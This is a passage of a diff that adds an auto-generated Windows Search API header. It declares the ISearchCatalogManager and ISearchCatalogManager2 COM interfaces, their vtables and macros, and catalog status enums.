+#define ISearchNotifyInlineSite_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchNotifyInlineSite_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchNotifyInlineSite_OnItemIndexedStatusChange(This,sipStatus,dwNumEntries,rgItemStatusEntries)	\
+    ( (This)->lpVtbl -> OnItemIndexedStatusChange(This,sipStatus,dwNumEntries,rgItemStatusEntries) ) 
+
+#define ISearchNotifyInlineSite_OnCatalogStatusChange(This,guidCatalogResetSignature,guidCheckPointSignature,dwLastCheckPointNumber)	\
+    ( (This)->lpVtbl -> OnCatalogStatusChange(This,guidCatalogResetSignature,guidCheckPointSignature,dwLastCheckPointNumber) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchNotifyInlineSite_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0019 */
+/* [local] */ 
+
+#endif /* WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) */
+#pragma endregion
+#include <winapifamily.h>
+#pragma region Desktop Family
+#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
+
+typedef 
+enum _CatalogStatus
+    {
+        CATALOG_STATUS_IDLE	= 0,
+        CATALOG_STATUS_PAUSED	= 1,
+        CATALOG_STATUS_RECOVERING	= 2,
+        CATALOG_STATUS_FULL_CRAWL	= 3,
+        CATALOG_STATUS_INCREMENTAL_CRAWL	= 4,
+        CATALOG_STATUS_PROCESSING_NOTIFICATIONS	= 5,
+        CATALOG_STATUS_SHUTTING_DOWN	= 6
+    } 	CatalogStatus;
+
+typedef 
+enum _CatalogPausedReason
+    {
+        CATALOG_PAUSED_REASON_NONE	= 0,
+        CATALOG_PAUSED_REASON_HIGH_IO	= 1,
+        CATALOG_PAUSED_REASON_HIGH_CPU	= 2,
+        CATALOG_PAUSED_REASON_HIGH_NTF_RATE	= 3,
+        CATALOG_PAUSED_REASON_LOW_BATTERY	= 4,
+        CATALOG_PAUSED_REASON_LOW_MEMORY	= 5,
+        CATALOG_PAUSED_REASON_LOW_DISK	= 6,
+        CATALOG_PAUSED_REASON_DELAYED_RECOVERY	= 7,
+        CATALOG_PAUSED_REASON_USER_ACTIVE	= 8,
+        CATALOG_PAUSED_REASON_EXTERNAL	= 9,
+        CATALOG_PAUSED_REASON_UPGRADING	= 10
+    } 	CatalogPausedReason;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0019_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0019_v0_0_s_ifspec;
+
+#ifndef __ISearchCatalogManager_INTERFACE_DEFINED__
+#define __ISearchCatalogManager_INTERFACE_DEFINED__
+
+/* interface ISearchCatalogManager */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchCatalogManager;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("AB310581-AC80-11D1-8DF3-00C04FB6EF50")
+    ISearchCatalogManager : public IUnknown
+    {
+    public:
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszName) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetParameter( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetParameter( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in PROPVARIANT *pValue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetCatalogStatus( 
+            /* [out] */ __RPC__out CatalogStatus *pStatus,
+            /* [out] */ __RPC__out CatalogPausedReason *pPausedReason) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Reset( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE Reindex( void) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ReindexMatchingURLs( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPattern) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE ReindexSearchRoot( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRootURL) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ConnectTimeout( 
+            /* [in] */ DWORD dwConnectTimeout) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ConnectTimeout( 
+            /* [retval][out] */ __RPC__out DWORD *pdwConnectTimeout) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_DataTimeout( 
+            /* [in] */ DWORD dwDataTimeout) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DataTimeout( 
+            /* [retval][out] */ __RPC__out DWORD *pdwDataTimeout) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE NumberOfItems( 
+            /* [retval][out] */ __RPC__out LONG *plCount) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE NumberOfItemsToIndex( 
+            /* [out] */ __RPC__out LONG *plIncrementalCount,
+            /* [out] */ __RPC__out LONG *plNotificationQueue,
+            /* [out] */ __RPC__out LONG *plHighPriorityQueue) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE URLBeingIndexed( 
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszUrl) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetURLIndexingState( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out DWORD *pdwState) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetPersistentItemsChangedSink( 
+            /* [retval][out] */ __RPC__deref_out_opt ISearchPersistentItemsChangedSink **ppISearchPersistentItemsChangedSink) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE RegisterViewForNotification( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszView,
+            /* [in] */ __RPC__in_opt ISearchViewChangedSink *pViewChangedSink,
+            /* [out] */ __RPC__out DWORD *pdwCookie) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetItemsChangedSink( 
+            /* [in] */ __RPC__in_opt ISearchNotifyInlineSite *pISearchNotifyInlineSite,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppv,
+            /* [out] */ __RPC__out GUID *pGUIDCatalogResetSignature,
+            /* [out] */ __RPC__out GUID *pGUIDCheckPointSignature,
+            /* [out] */ __RPC__out DWORD *pdwLastCheckPointNumber) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE UnregisterViewForNotification( 
+            /* [in] */ DWORD dwCookie) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE SetExtensionClusion( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszExtension,
+            /* [in] */ BOOL fExclude) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE EnumerateExcludedExtensions( 
+            /* [retval][out] */ __RPC__deref_out_opt IEnumString **ppExtensions) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetQueryHelper( 
+            /* [retval][out] */ __RPC__deref_out_opt ISearchQueryHelper **ppSearchQueryHelper) = 0;
+        
+        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_DiacriticSensitivity( 
+            /* [in] */ BOOL fDiacriticSensitive) = 0;
+        
+        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_DiacriticSensitivity( 
+            /* [retval][out] */ __RPC__out BOOL *pfDiacriticSensitive) = 0;
+        
+        virtual HRESULT STDMETHODCALLTYPE GetCrawlScopeManager( 
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCrawlScopeManager **ppCrawlScopeManager) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchCatalogManagerVtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchCatalogManager * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchCatalogManager * This);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszName);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParameter )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetParameter )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in PROPVARIANT *pValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCatalogStatus )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [out] */ __RPC__out CatalogStatus *pStatus,
+            /* [out] */ __RPC__out CatalogPausedReason *pPausedReason);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reset )( 
+            __RPC__in ISearchCatalogManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reindex )( 
+            __RPC__in ISearchCatalogManager * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *ReindexMatchingURLs )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPattern);
+        
+        HRESULT ( STDMETHODCALLTYPE *ReindexSearchRoot )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRootURL);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ConnectTimeout )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ DWORD dwConnectTimeout);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ConnectTimeout )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwConnectTimeout);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_DataTimeout )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ DWORD dwDataTimeout);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DataTimeout )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwDataTimeout);
+        
+        HRESULT ( STDMETHODCALLTYPE *NumberOfItems )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__out LONG *plCount);
+        
+        HRESULT ( STDMETHODCALLTYPE *NumberOfItemsToIndex )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [out] */ __RPC__out LONG *plIncrementalCount,
+            /* [out] */ __RPC__out LONG *plNotificationQueue,
+            /* [out] */ __RPC__out LONG *plHighPriorityQueue);
+        
+        HRESULT ( STDMETHODCALLTYPE *URLBeingIndexed )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszUrl);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetURLIndexingState )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out DWORD *pdwState);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetPersistentItemsChangedSink )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchPersistentItemsChangedSink **ppISearchPersistentItemsChangedSink);
+        
+        HRESULT ( STDMETHODCALLTYPE *RegisterViewForNotification )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszView,
+            /* [in] */ __RPC__in_opt ISearchViewChangedSink *pViewChangedSink,
+            /* [out] */ __RPC__out DWORD *pdwCookie);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetItemsChangedSink )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ __RPC__in_opt ISearchNotifyInlineSite *pISearchNotifyInlineSite,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppv,
+            /* [out] */ __RPC__out GUID *pGUIDCatalogResetSignature,
+            /* [out] */ __RPC__out GUID *pGUIDCheckPointSignature,
+            /* [out] */ __RPC__out DWORD *pdwLastCheckPointNumber);
+        
+        HRESULT ( STDMETHODCALLTYPE *UnregisterViewForNotification )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ DWORD dwCookie);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetExtensionClusion )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszExtension,
+            /* [in] */ BOOL fExclude);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateExcludedExtensions )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumString **ppExtensions);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetQueryHelper )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchQueryHelper **ppSearchQueryHelper);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_DiacriticSensitivity )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [in] */ BOOL fDiacriticSensitive);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DiacriticSensitivity )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__out BOOL *pfDiacriticSensitive);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCrawlScopeManager )( 
+            __RPC__in ISearchCatalogManager * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCrawlScopeManager **ppCrawlScopeManager);
+        
+        END_INTERFACE
+    } ISearchCatalogManagerVtbl;
+
+    interface ISearchCatalogManager
+    {
+        CONST_VTBL struct ISearchCatalogManagerVtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchCatalogManager_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchCatalogManager_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchCatalogManager_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchCatalogManager_get_Name(This,pszName)	\
+    ( (This)->lpVtbl -> get_Name(This,pszName) ) 
+
+#define ISearchCatalogManager_GetParameter(This,pszName,ppValue)	\
+    ( (This)->lpVtbl -> GetParameter(This,pszName,ppValue) ) 
+
+#define ISearchCatalogManager_SetParameter(This,pszName,pValue)	\
+    ( (This)->lpVtbl -> SetParameter(This,pszName,pValue) ) 
+
+#define ISearchCatalogManager_GetCatalogStatus(This,pStatus,pPausedReason)	\
+    ( (This)->lpVtbl -> GetCatalogStatus(This,pStatus,pPausedReason) ) 
+
+#define ISearchCatalogManager_Reset(This)	\
+    ( (This)->lpVtbl -> Reset(This) ) 
+
+#define ISearchCatalogManager_Reindex(This)	\
+    ( (This)->lpVtbl -> Reindex(This) ) 
+
+#define ISearchCatalogManager_ReindexMatchingURLs(This,pszPattern)	\
+    ( (This)->lpVtbl -> ReindexMatchingURLs(This,pszPattern) ) 
+
+#define ISearchCatalogManager_ReindexSearchRoot(This,pszRootURL)	\
+    ( (This)->lpVtbl -> ReindexSearchRoot(This,pszRootURL) ) 
+
+#define ISearchCatalogManager_put_ConnectTimeout(This,dwConnectTimeout)	\
+    ( (This)->lpVtbl -> put_ConnectTimeout(This,dwConnectTimeout) ) 
+
+#define ISearchCatalogManager_get_ConnectTimeout(This,pdwConnectTimeout)	\
+    ( (This)->lpVtbl -> get_ConnectTimeout(This,pdwConnectTimeout) ) 
+
+#define ISearchCatalogManager_put_DataTimeout(This,dwDataTimeout)	\
+    ( (This)->lpVtbl -> put_DataTimeout(This,dwDataTimeout) ) 
+
+#define ISearchCatalogManager_get_DataTimeout(This,pdwDataTimeout)	\
+    ( (This)->lpVtbl -> get_DataTimeout(This,pdwDataTimeout) ) 
+
+#define ISearchCatalogManager_NumberOfItems(This,plCount)	\
+    ( (This)->lpVtbl -> NumberOfItems(This,plCount) ) 
+
+#define ISearchCatalogManager_NumberOfItemsToIndex(This,plIncrementalCount,plNotificationQueue,plHighPriorityQueue)	\
+    ( (This)->lpVtbl -> NumberOfItemsToIndex(This,plIncrementalCount,plNotificationQueue,plHighPriorityQueue) ) 
+
+#define ISearchCatalogManager_URLBeingIndexed(This,pszUrl)	\
+    ( (This)->lpVtbl -> URLBeingIndexed(This,pszUrl) ) 
+
+#define ISearchCatalogManager_GetURLIndexingState(This,pszURL,pdwState)	\
+    ( (This)->lpVtbl -> GetURLIndexingState(This,pszURL,pdwState) ) 
+
+#define ISearchCatalogManager_GetPersistentItemsChangedSink(This,ppISearchPersistentItemsChangedSink)	\
+    ( (This)->lpVtbl -> GetPersistentItemsChangedSink(This,ppISearchPersistentItemsChangedSink) ) 
+
+#define ISearchCatalogManager_RegisterViewForNotification(This,pszView,pViewChangedSink,pdwCookie)	\
+    ( (This)->lpVtbl -> RegisterViewForNotification(This,pszView,pViewChangedSink,pdwCookie) ) 
+
+#define ISearchCatalogManager_GetItemsChangedSink(This,pISearchNotifyInlineSite,riid,ppv,pGUIDCatalogResetSignature,pGUIDCheckPointSignature,pdwLastCheckPointNumber)	\
+    ( (This)->lpVtbl -> GetItemsChangedSink(This,pISearchNotifyInlineSite,riid,ppv,pGUIDCatalogResetSignature,pGUIDCheckPointSignature,pdwLastCheckPointNumber) ) 
+
+#define ISearchCatalogManager_UnregisterViewForNotification(This,dwCookie)	\
+    ( (This)->lpVtbl -> UnregisterViewForNotification(This,dwCookie) ) 
+
+#define ISearchCatalogManager_SetExtensionClusion(This,pszExtension,fExclude)	\
+    ( (This)->lpVtbl -> SetExtensionClusion(This,pszExtension,fExclude) ) 
+
+#define ISearchCatalogManager_EnumerateExcludedExtensions(This,ppExtensions)	\
+    ( (This)->lpVtbl -> EnumerateExcludedExtensions(This,ppExtensions) ) 
+
+#define ISearchCatalogManager_GetQueryHelper(This,ppSearchQueryHelper)	\
+    ( (This)->lpVtbl -> GetQueryHelper(This,ppSearchQueryHelper) ) 
+
+#define ISearchCatalogManager_put_DiacriticSensitivity(This,fDiacriticSensitive)	\
+    ( (This)->lpVtbl -> put_DiacriticSensitivity(This,fDiacriticSensitive) ) 
+
+#define ISearchCatalogManager_get_DiacriticSensitivity(This,pfDiacriticSensitive)	\
+    ( (This)->lpVtbl -> get_DiacriticSensitivity(This,pfDiacriticSensitive) ) 
+
+#define ISearchCatalogManager_GetCrawlScopeManager(This,ppCrawlScopeManager)	\
+    ( (This)->lpVtbl -> GetCrawlScopeManager(This,ppCrawlScopeManager) ) 
+
+#endif /* COBJMACROS */
+
+
+#endif 	/* C style interface */
+
+
+
+
+#endif 	/* __ISearchCatalogManager_INTERFACE_DEFINED__ */
+
+
+/* interface __MIDL_itf_searchapi_0000_0020 */
+/* [local] */ 
+
+/* [v1_enum] */ 
+enum tagPRIORITIZE_FLAGS
+    {
+        PRIORITIZE_FLAG_RETRYFAILEDITEMS	= 0x1,
+        PRIORITIZE_FLAG_IGNOREFAILURECOUNT	= 0x2
+    } ;
+typedef int PRIORITIZE_FLAGS;
+
+
+
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0020_v0_0_c_ifspec;
+extern RPC_IF_HANDLE __MIDL_itf_searchapi_0000_0020_v0_0_s_ifspec;
+
+#ifndef __ISearchCatalogManager2_INTERFACE_DEFINED__
+#define __ISearchCatalogManager2_INTERFACE_DEFINED__
+
+/* interface ISearchCatalogManager2 */
+/* [unique][uuid][object] */ 
+
+
+EXTERN_C const IID IID_ISearchCatalogManager2;
+
+#if defined(__cplusplus) && !defined(CINTERFACE)
+    
+    MIDL_INTERFACE("7AC3286D-4D1D-4817-84FC-C1C85E3AF0D9")
+    ISearchCatalogManager2 : public ISearchCatalogManager
+    {
+    public:
+        virtual HRESULT STDMETHODCALLTYPE PrioritizeMatchingURLs( 
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPattern,
+            /* [in] */ PRIORITIZE_FLAGS dwPrioritizeFlags) = 0;
+        
+    };
+    
+    
+#else 	/* C style interface */
+
+    typedef struct ISearchCatalogManager2Vtbl
+    {
+        BEGIN_INTERFACE
+        
+        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [annotation][iid_is][out] */ 
+            _COM_Outptr_  void **ppvObject);
+        
+        ULONG ( STDMETHODCALLTYPE *AddRef )( 
+            __RPC__in ISearchCatalogManager2 * This);
+        
+        ULONG ( STDMETHODCALLTYPE *Release )( 
+            __RPC__in ISearchCatalogManager2 * This);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Name )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszName);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetParameter )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [retval][out] */ __RPC__deref_out_opt PROPVARIANT **ppValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetParameter )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszName,
+            /* [in] */ __RPC__in PROPVARIANT *pValue);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCatalogStatus )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [out] */ __RPC__out CatalogStatus *pStatus,
+            /* [out] */ __RPC__out CatalogPausedReason *pPausedReason);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reset )( 
+            __RPC__in ISearchCatalogManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *Reindex )( 
+            __RPC__in ISearchCatalogManager2 * This);
+        
+        HRESULT ( STDMETHODCALLTYPE *ReindexMatchingURLs )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPattern);
+        
+        HRESULT ( STDMETHODCALLTYPE *ReindexSearchRoot )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszRootURL);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ConnectTimeout )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ DWORD dwConnectTimeout);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ConnectTimeout )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwConnectTimeout);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_DataTimeout )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ DWORD dwDataTimeout);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DataTimeout )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__out DWORD *pdwDataTimeout);
+        
+        HRESULT ( STDMETHODCALLTYPE *NumberOfItems )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__out LONG *plCount);
+        
+        HRESULT ( STDMETHODCALLTYPE *NumberOfItemsToIndex )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [out] */ __RPC__out LONG *plIncrementalCount,
+            /* [out] */ __RPC__out LONG *plNotificationQueue,
+            /* [out] */ __RPC__out LONG *plHighPriorityQueue);
+        
+        HRESULT ( STDMETHODCALLTYPE *URLBeingIndexed )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][retval][out] */ __RPC__deref_out_opt_string LPWSTR *pszUrl);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetURLIndexingState )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszURL,
+            /* [retval][out] */ __RPC__out DWORD *pdwState);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetPersistentItemsChangedSink )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchPersistentItemsChangedSink **ppISearchPersistentItemsChangedSink);
+        
+        HRESULT ( STDMETHODCALLTYPE *RegisterViewForNotification )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszView,
+            /* [in] */ __RPC__in_opt ISearchViewChangedSink *pViewChangedSink,
+            /* [out] */ __RPC__out DWORD *pdwCookie);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetItemsChangedSink )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ __RPC__in_opt ISearchNotifyInlineSite *pISearchNotifyInlineSite,
+            /* [in] */ __RPC__in REFIID riid,
+            /* [iid_is][out] */ __RPC__deref_out_opt void **ppv,
+            /* [out] */ __RPC__out GUID *pGUIDCatalogResetSignature,
+            /* [out] */ __RPC__out GUID *pGUIDCheckPointSignature,
+            /* [out] */ __RPC__out DWORD *pdwLastCheckPointNumber);
+        
+        HRESULT ( STDMETHODCALLTYPE *UnregisterViewForNotification )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ DWORD dwCookie);
+        
+        HRESULT ( STDMETHODCALLTYPE *SetExtensionClusion )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszExtension,
+            /* [in] */ BOOL fExclude);
+        
+        HRESULT ( STDMETHODCALLTYPE *EnumerateExcludedExtensions )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt IEnumString **ppExtensions);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetQueryHelper )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchQueryHelper **ppSearchQueryHelper);
+        
+        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_DiacriticSensitivity )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [in] */ BOOL fDiacriticSensitive);
+        
+        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DiacriticSensitivity )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__out BOOL *pfDiacriticSensitive);
+        
+        HRESULT ( STDMETHODCALLTYPE *GetCrawlScopeManager )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [retval][out] */ __RPC__deref_out_opt ISearchCrawlScopeManager **ppCrawlScopeManager);
+        
+        HRESULT ( STDMETHODCALLTYPE *PrioritizeMatchingURLs )( 
+            __RPC__in ISearchCatalogManager2 * This,
+            /* [string][in] */ __RPC__in_string LPCWSTR pszPattern,
+            /* [in] */ PRIORITIZE_FLAGS dwPrioritizeFlags);
+        
+        END_INTERFACE
+    } ISearchCatalogManager2Vtbl;
+
+    interface ISearchCatalogManager2
+    {
+        CONST_VTBL struct ISearchCatalogManager2Vtbl *lpVtbl;
+    };
+
+    
+
+#ifdef COBJMACROS
+
+
+#define ISearchCatalogManager2_QueryInterface(This,riid,ppvObject)	\
+    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) 
+
+#define ISearchCatalogManager2_AddRef(This)	\
+    ( (This)->lpVtbl -> AddRef(This) ) 
+
+#define ISearchCatalogManager2_Release(This)	\
+    ( (This)->lpVtbl -> Release(This) ) 
+
+
+#define ISearchCatalogManager2_get_Name(This,pszName)	\
+    ( (This)->lpVtbl -> get_Name(This,pszName) ) 
+
+#define ISearchCatalogManager2_GetParameter(This,pszName,ppValue)	\
+    ( (This)->lpVtbl -> GetParameter(This,pszName,ppValue) ) 
+
+#define ISearchCatalogManager2_SetParameter(This,pszName,pValue)	\
+    ( (This)->lpVtbl -> SetParameter(This,pszName,pValue) ) 
+
+#define ISearchCatalogManager2_GetCatalogStatus(This,pStatus,pPausedReason)	\
+    ( (This)->lpVtbl -> GetCatalogStatus(This,pStatus,pPausedReason) ) 
+
+#define ISearchCatalogManager2_Reset(This)	\
+    ( (This)->lpVtbl -> Reset(This) ) 
+
+#define ISearchCatalogManager2_Reindex(This)	\
+    ( (This)->lpVtbl -> Reindex(This) ) 
+
+#define ISearchCatalogManager2_ReindexMatchingURLs(This,pszPattern)	\
+    ( (This)->lpVtbl -> ReindexMatchingURLs(This,pszPattern) ) 
+
+#define ISearchCatalogManager2_ReindexSearchRoot(This,pszRootURL)	\
+    ( (This)->lpVtbl -> ReindexSearchRoot(This,pszRootURL) ) 
+
+#define ISearchCatalogManager2_put_ConnectTimeout(This,dwConnectTimeout)	\
+    ( (This)->lpVtbl -> put_ConnectTimeout(This,dwConnectTimeout) ) 
+
+#define ISearchCatalogManager2_get_ConnectTimeout(This,pdwConnectTimeout)	\
+    ( (This)->lpVtbl -> get_ConnectTimeout(This,pdwConnectTimeout) ) 
+
+#define ISearchCatalogManager2_put_DataTimeout(This,dwDataTimeout)	\
